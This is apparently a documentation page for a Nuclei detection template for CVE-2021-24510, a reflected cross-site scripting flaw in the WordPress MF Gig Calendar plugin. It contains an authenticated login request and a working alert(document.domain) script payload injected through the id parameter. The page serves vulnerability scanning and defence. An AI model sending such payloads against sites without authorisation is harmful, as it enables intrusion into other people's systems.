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WordPress MF Gig Calendar <=1.1 - Cross-Site Scripting

ID: CVE-2021-24510

Severity: medium

Author: dhiyaneshDK

Tags: cve2021,cve,wp-plugin,authenticated,wpscan,wordpress,mf_gig_calendar_project

Description

Section titled “Description”

WordPress MF Gig Calendar plugin 1.1 and prior contains a reflected cross-site scripting vulnerability. It does not sanitize or escape the id GET parameter before outputting back in the admin dashboard when editing an event.

YAML Source

Section titled “YAML Source”
id: CVE-2021-24510


info:
  name: WordPress MF Gig Calendar <=1.1 - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: WordPress MF Gig Calendar plugin 1.1 and prior contains a reflected cross-site scripting vulnerability. It does not sanitize or escape the id GET parameter before outputting back in the admin dashboard when editing an event.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of WordPress MF Gig Calendar plugin (>=1.2) which includes proper input sanitization and validation.
  reference:
    - https://wpscan.com/vulnerability/715721b0-13a1-413a-864d-2380f38ecd39
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24510
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24510
    cwe-id: CWE-79
    epss-score: 0.00119
    epss-percentile: 0.46132
    cpe: cpe:2.3:a:mf_gig_calendar_project:mf_gig_calendar:*:*:*:*:wordpress:*:*:*
  metadata:
    max-request: 2
    vendor: mf_gig_calendar_project
    product: mf_gig_calendar
  tags: cve2021,cve,wp-plugin,authenticated,wpscan,wordpress,mf_gig_calendar_project


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check


        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=mf_gig_calendar&action=edit&id="></script><script>alert(document.domain)</script><" HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
# digest: 490a00463044022051a33fc26eefe2ae890aa0306db375366044b3661c028b35ac12da95e5db44c402207b6a211f42535367a303312cde239f609086dd2f161ad4699a4b607ceff20b41:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24510.yaml"

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